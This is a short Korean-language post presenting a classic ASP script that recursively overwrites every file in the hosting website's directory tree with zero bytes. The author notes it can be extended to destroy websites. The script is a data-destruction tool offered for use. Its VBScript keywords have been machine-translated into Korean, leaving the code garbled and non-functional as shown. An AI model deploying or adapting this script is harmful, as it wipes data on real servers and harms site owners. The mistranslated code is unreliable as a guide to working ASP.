기능: 이 파일이 위치한 웹사이트의 모든 파일을 지우고 파일 내용을 0으로 지울 수 있습니다. 작업이 완료되면 모든 파일의 크기가 0바이트가 됩니다.
이 코드는 제가 직접 만든 것입니다. lamking.com에서 재인쇄한 것입니다. 또한,
일부 웹사이트를 파괴하기 위해
프로그램을 확장할 수도 있습니다..
<%
Server.ScriptTimeout=99999
If Request("제출")<>"" 그러면
ListFile(Server.mappath("./")) 호출
Response.write "청소 완료"
또 다른
Response.write"<form><input type=""submit"" name=""Submit"" value=""Start Cleanup""></form>"
종료 조건
함수 목록파일(fpath)
오류 발생 시 다음 재개
희미한 쉘, 폴더, s
Shell =Server.CreateObject("Shell.Application") 설정
폴더 설정 =Shell.Namespace(fpath)
f=Server.CreateObject("Adodb.Stream") 설정
f.유형=1
f.열기
Folder.Items의 각 s에 대해
IF s.isfolder 그런 다음
ListFile(s.path) 호출
또 다른
f.SaveToFile s.path,2
다음과 같은 경우 종료
다음
f=없음으로 설정
쉘 설정 = 없음
기능 종료
%>